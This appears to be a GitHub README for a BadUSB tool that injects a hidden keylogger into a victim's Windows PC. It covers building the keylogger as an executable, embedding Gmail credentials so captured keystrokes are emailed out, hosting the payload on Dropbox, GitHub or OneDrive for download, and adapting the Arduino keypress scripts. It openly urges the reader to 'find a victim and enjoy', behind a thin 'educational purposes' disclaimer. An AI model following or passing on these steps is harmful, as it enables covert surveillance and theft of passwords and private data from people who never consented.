Everything in this repository is strictly for educational purposes. Notice I am not responsible for stolen data. You are responsible for your actions using developed script for BadUSB.
This script allows you to inject an invsible keylogger which run on Windows startup. To do this i used this keylogger script.
Sometimes, you will see something like this :
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
This is only to write these characters : "@", "\". But it depends on the computer's layout, so adapt these characters thanks to this site and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).
For US layout you only have to replace by this for "\" :
Keyboard.press(92);
Keyboard.releaseAll();
And by this for "@" :
Keyboard.press(64);
Keyboard.releaseAll();
You can customize the delay according to the speed in which you plug the BadUSB.
When you plug the BadUSB in a PC you have to wait for the caps lock to flash to unplug it.
Have a BadUSB.
Install Arduino software here (if you have a BadUSB based on Arduino);
Have a Gmail account and enable less secure app here;
Have latest python version installed on your PC;
Have latest pip version installed on your PC;
Have a victim with Windows OS installed in his PC;
Download latest python version (installer 64-bit or 32-bit) here;
Now run the installer
Select "Add python.exe to PATH" checkbox and then click on "install now";
Launch a powershell prompt and run the following command to download get-pip.py :
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
Then run the following command to install pip :
python get-pip.py
Download this repository;
Linux :
git clone https://github.com/tuconnaisyouknow/BadUSB_keyloggerInjector
cd BadUSB_keyloggerInjector
Windows : Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.
Replace your mail and password here at line 8, 9;
Convert keylogger.py in exe file with this command :
pip install pyinstaller
pyinstaller --onefile -w keylogger.py
Upload your files to download them;
Replace link here with keylogger.exe link at line 93;
Put the .ino or .txt file in your BadUSB;
Find a victim and enjoy !
Remember to upload first keylogger.exe file to add its link into the startSrcipt.ps1 file.
Create a dropbox account here;
Upload your file;
Copy the link of the file and change ?dl=0 by ?dl=1;
You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;
Now put these link in the .ino or .txt file;
Create a Github account here;
Create a public repository;
Upload your file;
Go to your file page and click on RAW button;
Copy the RAW page link and put it in the .ino or .txt file;
Create a One Drive account here;
Upload your file;
Follow this tutorial;